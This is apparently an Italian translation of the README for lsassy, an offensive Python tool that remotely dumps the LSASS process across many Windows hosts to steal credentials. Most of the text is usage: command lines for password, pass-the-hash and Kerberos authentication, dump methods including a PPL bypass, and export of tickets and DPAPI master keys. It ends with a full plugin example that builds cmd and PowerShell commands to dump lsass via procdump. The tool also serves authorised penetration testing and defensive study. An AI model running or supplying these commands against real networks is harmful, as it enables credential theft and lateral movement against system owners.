
Estrai credenziali da lsass da remoto
Strumento Python per estrarre da remoto le credenziali su un insieme di host. Questo post del blog spiega come funziona.
Questo strumento utilizza il progetto impacket per leggere da remoto i byte necessari nel dump di lsass e pypykatz per estrarre le credenziali.
| Capitoli | Descrizione |
|---|---|
| Avvertenza | Prima di usare questo strumento, leggi questo |
| Installazione | Installazione di lsassy |
| Utilizzo base | Utilizzo base di lsassy |
| Utilizzo avanzato | Utilizzo avanzato di lsassy con spiegazione dei parametri |
| Aggiungere un metodo di dump | Come aggiungere un metodo di dump lsass personalizzato |
| Ringraziamenti | Riconoscimenti a queste persone e strumenti |
| Discord ufficiale | Server Discord ufficiale |
Sebbene abbia fatto ogni sforzo per rendere lo strumento stabile, potrebbero rimanere tracce se si verificano errori.
Questo strumento può lasciare dei dump di lsass se non riesce a eliminarli (anche se cerca di farlo con impegno) o lasciare un'attività pianificata in esecuzione se non riesce a cancellarla. Questo non dovrebbe accadere, ma potrebbe. Ora lo sai, usalo con cautela.
lsassy funziona con python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy funziona subito su più target (IP, range, CIDR, hostname, FQDN, file contenenti un elenco di target)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
Per impostazione predefinita, lsassy tenterà di eseguire il dump di lsass da remoto utilizzando il metodo comsvcs.dll, tramite WMI o un'attività pianificata remota.
lsassy può autenticarsi con Kerberos. Richiede un TGT valido nella variabile d'ambiente KRB5CCNAME. Vedi utilizzo avanzato per maggiori dettagli.
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
In lsassy sono implementati diversi metodi di dump di lsass e alcune opzioni permettono all'utente di controllare come lo strumento procederà.
lsassy è suddiviso in moduli
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Questo modulo è l'orchestratore. Crea la classe lsassy con gli argomenti e le opzioni forniti, e poi chiama i diversi moduli per recuperare le credenziali.
Questo modulo è utilizzato per la registrazione (logging).
È un livello costruito sopra Impacket per comportarsi come un oggetto file nativo di Python. Sovrascrive metodi come open, read, seek o close.
Questo modulo contiene tutta la logica di dump. A seconda del metodo utilizzato, esegue codice sull'host remoto per eseguire il dump di lsass usando il metodo fornito.
Questo modulo si basa su pypykatz e utilizza il modulo file di lsassy per analizzare da remoto il dump di lsass.
Questo modulo gestisce la parte di output, sia a schermo in diversi formati e/o scrive i risultati in un file.
Questo strumento può eseguire il dump di lsass in diversi modi.
Metodi di dump (-m o --method)
Questo metodo utilizza solo file Windows nativi per estrarre le credenziali da remoto. Usa la funzione minidump di comsvcs.dll per eseguire il dump del processo lsass.
Questo metodo carica procdump.exe da SysInternals per eseguire il dump del processo lsass.
Questo metodo carica dumpert.exe o dumpert.dll da outflanknl per eseguire il dump del processo lsass usando syscall.
Questo metodo carica NativeDump.exe da ricardojoserf per eseguire il dump del processo lsass usando solo NTAPI.
Questo metodo carica ppldump.exe da itm4n per eseguire il dump del processo lsass e bypassare PPL.
Questo metodo carica Mirrordump.exe da Ccob per eseguire il dump di lsass utilizzando un handle già aperto verso lsass tramite un plugin LSA.
Questo metodo utilizza la tecnica WER usata in PowerSploit.
Per alcuni metodi di dump sono richieste opzioni, come il percorso di procdump o dumpert. Queste opzioni possono essere impostate usando --options o -O con un elenco separato da virgole in formato chiave=valore.
... --options key=value,foo=bar
Ad esempio:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
Puoi scegliere di analizzare un processo lsass già dumpato fornendo l'opzione --parse-only, insieme ai parametri --dump-path e --dump-name.
Nota che se scegli questo metodo, il dump remoto di lsass non verrà eliminato.
Ad esempio:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
Se non vuoi che il dump venga eliminato automaticamente dopo l'esecuzione di lsassy, puoi usare --keep-dump.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
I ticket Kerberos verranno estratti e salvati in $HOME/.config/lsassy/tickets in formato ccache. Puoi specificare la directory di output usando il parametro -K [directory] o --kerberos-dir [directory]. Se questa directory non esiste, lo strumento tenterà di crearla prima di esportare i ticket.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
Le chiavi master DPAPI verranno estratte e salvate in $HOME/.config/lsassy/masterkeys.txt in formato {GUID}:SHA1. Puoi specificare il percorso del file delle chiavi master usando il parametro -M [path] o --masterkeys-file [path]. Se il percorso del file non esiste, lo strumento tenterà di crearlo prima di creare il file.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
Ci sono tre modi diversi per autenticarsi sui target remoti usando lsassy. L'unico requisito è che l'utente deve disporre dei diritti di amministrazione locale sui target remoti.
Il primo e più ovvio è usare credenziali in chiaro. Può essere un utente locale o di dominio.
## Utente locale
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## Utente di dominio
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
È anche possibile autenticarsi usando l'hash NT dell'utente. Puoi fornire LM:NT o solo la versione NT.
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## Oppure
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
Puoi anche autenticarti usando Kerberos. Per farlo funzionare, devi avere un ticket valido salvato su disco e il percorso del ticket deve essere fornito nella variabile d'ambiente KRB5CCNAME. A scopo di test, questo può essere ottenuto usando lo strumento getTGT.py di impacket.
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
Questo comando richiederà un TGT e lo salverà nel file jsnow.ccache.
Affinché lsassy sappia quale ticket usare, devi impostare esplicitamente il percorso del ticket nella variabile d'ambiente KRB5CCNAME.
export KRB5CCNAME="/home/pixis/jsnow.ccache"
Quando è configurato correttamente, dovresti essere in grado di usare quel ticket per l'autenticazione usando il parametro -k. Poiché stai usando questo ticket, non devi più fornire altre informazioni di autenticazione.
lsassy -k server01.hackn.lab
Nota che per farlo funzionare, avrai bisogno di una configurazione DNS valida, dinamica con un server DNS valido o statica usando il file hosts. Inoltre, dovresti sempre usare il FQDN quando generi i ticket e usi lsassy, ad esempio usa server01.hackn.lab invece di server01.
lsassy può mostrare le credenziali in diversi formati usando il flag --format o -f.
Formato predefinito, credenziali chiare e pulite mostrate con colori dorati. Nelle credenziali confidiamo.
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Mostra il risultato in formato json. Può essere utile quando chiamato da uno script.
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Output "grepabile" utile in comandi one-liner.
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
Non mostra il risultato. Utile quando si usa --outfile.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
Salva il risultato in un formato greppabile nel file specificato (--outfile o -o).
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
Se vuoi ottenere solo le credenziali degli utenti, escludendo quelle dei computer, puoi usare il flag --users.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
Se non vuoi che i ticket vengano esportati, puoi usare il flag --no-tickets.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
Se non vuoi che le chiavi master vengano esportate, puoi usare il flag --no-masterkeys.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
Puoi decidere quanti thread utilizzare [1-256] usando il parametro --threads.
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
C'è un file dummy.py.tpl nella directory dumpmethod. Questo file contiene la struttura di base per creare una nuova funzionalità di metodo di dump.
Questo metodo è obbligatorio poiché è il metodo che verrà utilizzato per eseguire codice sull'host remoto per eseguire il dump di lsass in qualche modo. Deve restituire un dizionario con due elementi: cmd e pwsh.
Il comando cmd è un comando compreso dall'utilità cmd.exe. Il comando pwsh è un comando compreso da powershell (la maggior parte delle volte, il comando cmd è valido anche in powershell).
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
C'è una classe Dependency che può essere usata per caricare facilmente i file necessari per il metodo di dump, come procdump.exe da sysinternals. Due metodi possono essere usati:
prepare_dependencies per verificare che tutti i parametri siano stati forniti dall'utente per trovare localmente il file sul disco dell'utente e caricarlo, e poi effettivamente caricare il file.clean_dependencies per tentare di rimuovere i file caricati.Questo metodo verrà chiamato prima di eseguire i comandi forniti da get_commands. Può essere usato per caricare file o verificare cose.
Questo metodo verrà chiamato dopo l'esecuzione dei comandi forniti da get_commands. Può essere usato per eliminare i file caricati o pulire cose.
Ecco un esempio di procdump con alcuni commenti.
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
and uncomment 'dump_name' to provide expected dumpfile name on remote system.
"""
custom_dump_name_support = True # Default: True
# dump_name = "" # Default: Random dumpfile name
"""
If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variable
In this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension.
"""
custom_dump_path_support = True # Default: True
# dump_share = "" # Default: "C$"
# dump_path = "" # Default: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ is overloaded to create some instance variables
"""
super().__init__(session, timeout)
"""
This module requires procdump.exe to be uploaded on the remote server before being executed.
So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),
and second argument is default executable name on local user's disk.
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
Prepare method is overloaded so that we are able to
- check if mandatory parameters are provided
- upload procdump on the remote host.
All this can be done using prepare_dependencies method from our Dependency object
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
Clean method is overloaded so that we are able to delete our dependency if it was uploaded
The clean_dependencies method will do this for us.
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
get_commands method is overloaded as it is mandatory.
Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
The get_remote_path method of our Dependency object is used to get the correct remote path
of procdump on our target.
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Puoi controllare la classe dummy per ulteriori commenti e/o informazioni.

Le versioni compilate non includono table_output a causa di uno strano errore con la libreria rich.